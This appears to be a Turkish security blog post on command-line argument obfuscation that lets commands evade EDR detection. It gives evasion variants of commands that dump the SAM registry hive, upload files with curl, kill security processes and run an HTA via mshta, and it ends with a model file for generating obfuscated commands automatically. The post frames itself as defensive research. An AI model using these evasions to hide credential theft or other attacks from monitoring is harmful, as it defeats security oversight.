Giriş

Modern güvenlik yığını içerisindeki AV Antivirüs ve özellikle Endpoint Detection and Response çözümleri, threat hunting ve davranışsal analiz süreçlerinde komut satırı argümanlarını yüksek sinyal/noise oranına sahip telemetrik göstergeler olarak kullanmaktadır. Komut satırına gömülü parametreler, kötü niyetli süreç zincirlerinin veya "living-off-the-land" tekniklerinin (LotL) tespitinde kritik rol oynar.

Ancak, bu yazı kapsamında ele alınan teknik, komut satırı argümanlarının EDR analiz motorları tarafından nasıl "yanıltılabileceğini" göstermektedir. Buradaki temel fikir, shell-agnostic bir yaklaşım ile yürütülebilir dosyaların kendi argument parser (argüman ayrıştırıcı) mantığındaki tolerans veya standart dışı işleyişin manipüle edilmesidir. Bu sayede, davranışsal tespit motorları tarafından izlenen normalleştirilmiş komut zinciri görünümünün dışında kalan ama hala geçerli olan syntax'larla gizlenmiş yürütmeler elde edilebilmektedir.

EDR Sistemlerinin Komut Satırı Argümanlarına Yönelik Telemetrik Takıntısı

Komut satırı argümanları, işlem başlangıcında yürütücü bağlamı belirleyen ilk derece başlangıç vektörleridir. Bu yapı, işlem doğası üzerinde hem mantıksal hem davranışsal bir fingerprint (parmak izi) rolü üstlenir. Endpoint Detection and Response (EDR) çözümleri, bu vektörleri yüksek öncelikli telemetrik sinyaller olarak değerlendirir ve her bir işlem yaratımında (process creation event) komut satırı dizilerini ayrıştırarak olası adversarial paternlere karşı korelasyon analizine tabi tutar.

Bu durum, klasik savunma paradigmalarıyla büyümüş olanlara sıra dışı gelebilir; zira konvansiyonel güvenlik yaklaşımları tarihsel olarak daha çok binary-level artifact tespiti üzerine inşa edilmiştir: başlangıçta imzaya dayalı (signature-based), daha sonra ise davranışsal sezgilerle (heuristic patterning) genişletilen analiz katmanları kullanılmıştır. Ancak modern EDR mimarileri, tehdit modellemesinde argüman tabanlı davranış soyutlamalarını birincil analiz yüzeyi haline getirmiştir.

Ancak 2025 itibarıyla geleneksel imza tabanlı tespit mekanizmaları ve sezgisel davranış motorları, gelişmiş tehdit aktörlerinin (APT, FIN grupları, IAB'ler vb.) operasyonel teknikleri karşısında ciddi ölçüde yetersiz kalmaktadır. Son beş yılda istikrarlı bir şekilde artan trend, tehdit yüzeyinin artık büyük ölçüde "fileless" veya "malwareless" intrusion senaryolarına kaydığını ortaya koymuştur [Kaynak].

Bu evrimleşmiş saldırı modelinde, klasik anlamda kötü amaçlı binary implantlara ihtiyaç duyulmaz. Bunun yerine saldırganlar, hedef sistemin doğal bileşenleri ve güvenilir üçüncü taraf yazılımlar üzerinden post-exploitation persistence ve lateral movement süreçlerini icra ederler. Öne çıkan başlıca bileşenler şunlardır:

  • PowerShell (Windows) ve bash/zsh (Linux/macOS) gibi yerel komut yorumlayıcılar,
  • LOLBIN (Living Off The Land Binaries) kategorisine giren, sistemle birlikte gelen ve güvenilir olarak işaretlenmiş yürütülebilirler (örneğin regsvr32.exe, mshta.exe, wmic.exe) [Kaynak],
  • TeamViewer, AnyDesk, ScreenConnect gibi yaygın uzaktan erişim yazılımları (RMM), kötüye kullanıldıklarında "dual-use" doğaları nedeniyle davranışsal analizde gri alana düşerler.

CrowdStrike'ın 2024 küresel tehdit istihbaratı raporu, gözlemlenen her 4 saldırının yaklaşık 3'ünün tamamen zararlı yazılım içermeksizin, yalnızca hedef sistemdeki yerel kaynakların suistimaliyle icra edildiğini belgelemektedir [Kaynak]. Bu, saldırgan açısından optimal bir stratejidir: özel payload geliştirmek yerine meşru, dijital olarak imzalanmış uygulamaların kullanılması, hem operasyonel görünürlüğü azaltır hem de savunma sistemlerinin anomaly-based detection yeteneklerini baypas eder.

Neticede, tehdit vektörü ile normal sistem davranışı arasındaki çizgi bulanıklaştıkça, tespit karmaşıklığı eksponansiyel biçimde artmakta; savunma sistemleri daha yüksek özgüllükte davranış modellemelerine ihtiyaç duymaktadır.

Bu bağlamda, sistemle yerleşik gelen ve "düşük saldırı yüzeyli" olarak kabul edilen komutların kötüye kullanımı, tehdit aktörleri için ideal bir vektör sunmaktadır. Örneğin, Windows ortamında taskkill, Linux/macOS platformlarında ise kill veya pkill komutları standart işlem sonlandırma fonksiyonları sağlamakla birlikte, yürütülebilir hash'leri neredeyse hiçbir zaman antivirüs ya da EDR sistemleri tarafından kara listeye alınmaz. Bu araçlar, işletim sistemi ile bütünleşik olduklarından dolayı yüksek güven skoruna sahiptir ve execution chain içinde yer aldıklarında genellikle benign olarak işaretlenirler.

Bu nedenle, bir işlemi taskkill.exe ile sonlandırmak ile özel olarak tasarlanmış zararlı bir binary kullanarak sonlandırmak arasında, tespit yüzeyi açısından dramatik bir fark oluşur. İlki, düşük anomali değeri taşır ve genellikle gözden kaçar; ikincisi ise daha çok tetikleyici içerir ve davranışsal analiz kurallarına takılır.

Söz konusu fark nedeniyle, modern güvenlik çözümleri artık sadece "hangi binary çalıştırıldı" sorusunu değil, "hangi parametrelerle ve ne bağlamda çalıştırıldı" sorusunu da değerlendirmek zorundadır. Bu noktada komut satırı çözümlemesi, işlem semantiğini anlamlandırmanın en temel analiz katmanlarından biri haline gelmiştir.

Örnekle somutlaştırmam gerekirse,

cmd
taskkill /f /im winword.exe

ile,

cmd
taskkill /f /im security_process.exe

çok farklı risk profillerine sahiptir [Kaynak].

Yani kısaca bu komutlar aynı yürütülebilir (taskkill.exe) tarafından tetiklenmesine rağmen, hedeflenen işlem bağlamında radikal derecede farklı tehdit profilleri ortaya koyar. İlki kullanıcı kaynaklı tipik bir uygulama sonlandırması olabilirken, ikincisi muhtemel bir EDR/AV bypass girişimini işaret ediyor olabilir.

Komut Satırı Argüman Manipülasyonu

Komut satırı tabanlı tespit mekanizmalarının artan önemiyle birlikte, gelişmiş tehdit aktörlerinin bu yüzeye odaklanan tespit kurallarını (detection signatures) sistematik olarak atlatmaya yönelik teknikler geliştirdiği gözlemlenmiştir [Kaynak]. Bu bağlamda öne çıkan komut satırı obfuscation yaklaşımı [MITRE ATT&CK T1027.010], yürütülen komut zincirinin semantik anlamını bozmayacak şekilde sentaktik yapılarını değiştirerek savunma sistemlerinin algı katmanından kaçmayı hedefler. Aynı zamanda, adli analiz sürecindeki yorumlamayı da sabote etmeyi amaçlar.

Buradaki en önemli fark, bu tekniğin shell-agnostic olmasıdır. Yani DOSfuscation, PowerShell obfuscation gibi tekniklerin aksine, hedef alınan asıl binary'nin (örneğin reg.exe, taskkill.exe) kendi argument parser yapısının zayıflıkları istismar edilir. Bu nedenle, obfuscated komut satırı sadece geçici bir encoder süreci değil, işlem ağacına (process tree) ve EDR event stream'ine obfuscated haliyle yansır.

Nitekim, certutil gibi bir komut DOSfuscation ile gizlenmiş olsa bile, ProcMon veya benzeri düşük seviye işlem denetleyicilerinde normalize edilmiş haliyle görünmektedir. Oysa shell-agnostic komut satırı obfuscation tekniklerinde, argüman bozulmuş haliyle işlem kaydı üzerinde kalır — bu da savunmalar açısından ciddi bir kör noktadır [Kaynak].

Windows = Teknik Uygulama Örnekleri

Bu tekniklerin tek başına ya da kombinasyon halinde kullanılması, tespit yüzeyinde polimorfik bir saldırı görünürlüğü yaratır.

  • Option character substitution: taskkill /f /im ccSvcHst.exetaskkill -f -im ccSvcHst.exe → Tespit motorları / karakterine göre imzalanmışsa, - varyantı detection'dan kaçar. [Mesela]
  • Character substitution: reg export HKLM\SAM out.regreg eˣport HKLM\SAM out.regˣ harfi Unicode bozulmasıyla, komut hala geçerli ama farklı görünür. [Mesela]
  • Character insertion: reg save HKLM\SAM out.regreg sa⚽ve HKLM\SAM out.reg → Unicode non-printable karakter, yorumlayıcı tarafından yutulur; ama statik analiz motorları fail verir. [Mesela]
  • Quotes insertion: reg "s"a"v"e H"KL"M\S"AM" out.reg → Argümanlar runtime'da doğru derlenir; static engine'ler ise segmentation hatası alabilir. [Mesela]
  • Character deletion: powershell -encodedcommand ...powershell -en ... → Uzun form yerine kısa form kullanımı, pattern bazlı EDR kurallarını atlatır. [Mesela]

İleri Teknikler (Evasion Surface Genişletme)

  • Value transformations: ping 127.0.0.1ping 2130706433 → IP integer dönüşümü, ağ yönelimli kural motorlarından kaçar. [Mesela]
  • Path traversal: mshta c:\windows\system32\..\temp\evil.hta → Dosya path'inde traversal karakterleri kullanılarak signature bypass sağlanır. [Mesela]
  • URL manipulation: msiexec https://example.org/install.msimsiexec https:\\example.org\install.msi\\ ve \ gibi varyasyonlarla EDR'lerin regex tabanlı URL analiz motorları etkisizleştirilir. [Mesela]

Linux ve macOS = Teknik Uygulama Örnekleri

POSIX tabanlı *nix sistemleri, Windows ortamlarına kıyasla daha sıkı parser davranışlarına sahip olsalar da, belirli kullanıcı alanı araçlarının zayıf argüman ayrıştırma mantıkları çeşitli obfuscation tekniklerine olanak tanır:

  • Character deletion: curl --upload-file file.txt example.orgcurl --upload-f file.txt example.org--upload-file parametresi kısaltılarak kullanıldığında, belirli curl sürümleri tarafından kabul edilir; bu da tam bayrak eşleşmesine (flag match) dayalı tespit motorlarını atlatır. [Mesela]
  • Option reordering/stuffing: bash -lc "payload"bash -c "payload" → -l login shell flag'i kaldırıldığında, işlem bağlamı değişir; bu varyasyon, sıralama duyarlı imza yapılarını baypas eder. [Mesela]
  • Option separator insertion: wget -O- example.orgwget -O - example.org → Bayrak ve argüman arasında boşluk bırakmak, yorumlayıcının davranışını etkilemese de, statik analiz motorlarında token ayrışmasını zorlaştırır. [Mesela]
  • Option separator deletion: osascript -e "log 'hi'"osascript -e"log 'hi'"-e parametresiyle komut arasındaki boşluğun kaldırılması, ayrıştırma motorlarında normalize edilemeyen kompakt yapılar üretir. [Mesela]
  • Value transformation: wget https://127.0.0.1wget https://0177.0.0.0x1 → IP adresi sekizlik (0177) ve hexadecimal (0x1) biçimlerinde yeniden yazıldığında aynı hedefe yönelir; bu manipülasyon URL regex filtrelerinden kaçınmak için kullanılır. [Mesela]

Komut Satırı Obfuscation Fırsatlarının Tespiti

Yukarıdaki örnekler, birçok yürütülebilir dosyanın komut satırı düzeyinde gerçekleştirilen obfuscation tekniklerine karşı doğrudan savunmasız olduğunu ortaya koymaktadır. Ancak hangi binary'nin hangi tür obfuscation tekniğine açık olduğu, yürütülebilirin içsel argument parser mantığına ve versiyon spesifik davranışlarına bağlı olarak değişkenlik göstermektedir.

Özellikle Windows ortamında gerçekleştirilen önceki analizler, belirli yürütülebilir dosyaların neden beklenmedik şekilde belirli bayrakları kabul ettiğini veya tolere ettiğini araştırmış; bu anomalilerin çoğu, klasik Microsoft yazılım mimarisi kapsamında backward compatibility korunmasına bağlanmıştır.

Ancak tarafımdan gerçekleştirilen çoklu testlerde gözlemlenen davranışlara göre, obfuscation tekniklerinin yürütülebilir bazında uygulanabilirliği konusunda deterministik bir yapı veya tutarlı bir standart bulunmamaktadır. Aynı teknik, bir yürütülebilirde sorunsuz çalışırken bir başkasında syntax error, invalid argument rejection veya silent failure ile sonuçlanabilmektedir.

Bu bağlamda, obfuscation vektörlerinin etki alanını tam olarak anlayabilmek amacıyla, yukarıda listelenen tüm teknikler farklı sistem binary'leri üzerinde sistematik olarak uygulanarak test edilmiştir.

Obfuscation Methodology
Obfuscation test metodolojisi

İlk aşamada analiz edilecek yürütülebilir dosya seçilir. Bu çalışma kapsamında, LOLBAS Projesi [https://lolbas-project.github.io/] ve Atomic Red Team [https://www.atomicredteam.io/] tarafından belgelenmiş, Windows 11 üzerinde yaygın şekilde bulunan Living Off The Land Binary (LOLBIN) örneklerine odaklanılmıştır. Seçim süreci sonucunda, toplam 68 adet yerel Windows yürütülebilir dosyası analiz havuzuna dahil edilmiştir.

Bir sonraki adımda, bu yürütülebilirlerin daha önce detaylandırılan komut satırı obfuscation tekniklerine karşı yapısal tolerans seviyeleri incelenmiştir. Uygulanan test dizisi, obfuscation varyasyonlarına karşı argüman ayrıştırıcıların ne ölçüde dayanıklı olduğunu belirlemeyi hedefler.

Bu sürecin büyük bir kısmı otomasyon ile yürütülebilir olduğundan, özel olarak geliştirilmiş bir Python modülü olan analyse_obfuscation [Repo] kullanılmıştır. Bu modül, belirli bir komut satırı çağrısını binlerce kez farklı obfuscation teknikleri ile değiştirerek çalıştırır; ardından aşağıdaki metrikleri karşılaştırmalı olarak değerlendirir:

  • Çıkış kodu (exit code): Orijinal komutla aynı mı?
  • stdout çıktısı (standard output): Davranışsal çıktı değişmeden korunmuş mu?

Modül, eşdeğer (synonymous) olarak kabul edilen komut satırlarını metin olarak rapor eder.

Mevcut gözlemler doğrultusunda, uygulanabilir obfuscation varyasyonlarını, bunların sıralı uygulanma mantığını ve etki alanına giren komut satırı argüman türlerini kapsayan deterministik bir model dosyası oluşturulmuştur. Örneğin, önceki testlerde reg eˣport HKLM\SAM example.reg komutunun geçerliliği doğrulanmıştır; ancak bu, tüm x karakterlerinin ˣ Unicode eşdeğeriyle değiştirilebileceği anlamına gelmez. Örneğin, reg export HKLM\SAM eˣample.reg komutu eˣample.reg adında yeni bir dosya oluşturur ve bu, orijinal example.reg ile semantik olarak eşdeğer değildir.

Bu nedenle model dosyası, karakter substitüsyonunun yalnızca normal argümanlarda (argument) uygulanması gerektiğini; dosya yolu (file path) veya URL gibi tokenlarda ise karakter değişiminin engellenmesi gerektiğini belirtir.

model.json
{ "tokens": [ {"command": "reg"}, {"argument": "export"}, {"reg_path": "HKLM\\SAM"}, {"file_path": "example.reg"} ], "modifiers": { "CharacterSubstitution": { "Mapping": { "a": "ᵃ", "b": "ᵇ", "c": "ᶜ", "d": "ᵈ", "e": "ᵉ", "f": "ᶠ", "g": "ᵍ", "h": "ʰ", "j": "ʲ", "k": "ᵏ", "l": "ˡ", "m": "ᵐ", "n": "ⁿ", "o": "ᵒ", "p": "ᵖ", "r": "ʳ", "s": "ˢ", "t": "ᵗ", "u": "ᵘ", "v": "ⱽ", "w": "ʷ", "x": "ˣ", "y": "ʸ", "z": "ᶻ" }, "AppliesTo": ["argument"] }, "RandomCase": { "AppliesTo": ["argument", "file_path", "command"] }, "OptionCharacterSubstitution": { "OptionChars": ["-", "/", "\ufe63"], "AppliesTo": ["argument"] }, "CharacterInsertion": { "Characters": ["\u00ad", "\u034f", "\u0378", "…"], "AppliesTo": ["argument"] }, "QuoteInsertion": { "AppliesTo": ["argument", "file_path", "url"] } } }

Yukarıdaki örnek modelde, önce (tokens bölümü) komut satırı argümanları bileşen bazında ayrıştırılır ve her bileşene uygun tür atanır. Ardından (modifiers bölümü) uygulanabilecek tüm obfuscation teknikleri detaylandırılır ve hangi token türlerine uygulandığı belirtilir.

Bu noktada, tanımlanan model dosyasının gerçekten doğru bir temsiliyet sağlayıp sağlamadığı test edilir. Bunu yapmak için model dosyası, obfuscation uygulanmış yeni komut satırları üretmekte kullanılır. Daha da ilginci, birçok obfuscation tekniği aynı anda uygulanabilir; belirli bir olasılık değerine göre her biri sırayla devreye girer.

Böylece, örneğin yukarıdaki model dosyasına göre şu gibi çıktılar üretilebilir:

  • reg eˣPOʳT HK"L"M\SA"M" EX"a"m"PLE.reg"
  • Reg ᵉ෵዆୓ᷯxp᫘ꬽᵒ⹼R൚ꭂT HKL"M\S"AM ExaMPle.rEG
  • rEg ᵉꮘXpOʳꞘᵗ஢ HK"L"M\SAM eX"amPLe.R"eG

Sorumluluk Reddi Beyanı

Bu blog yazısı, yalnızca eğitim, araştırma ve savunma amaçlıdır. Burada anlatılan teknikler, siber güvenlik analizleri, tehdit istihbaratı üretimi ve adli bilişim çalışmaları için geliştirilmiştir. Hiçbir şekilde yasa dışı erişim, izinsiz gözetleme veya saldırgan faaliyetler için teşvik niteliği taşımaz.

Yazar(lar), bu bilgiler kullanılarak gerçekleştirilecek herhangi bir kötü niyetli faaliyetten veya doğabilecek yasal sonuçlardan sorumlu değildir. Her okuyucunun, yerel yasalar ve etik kurallar çerçevesinde hareket etmesi beklenmektedir.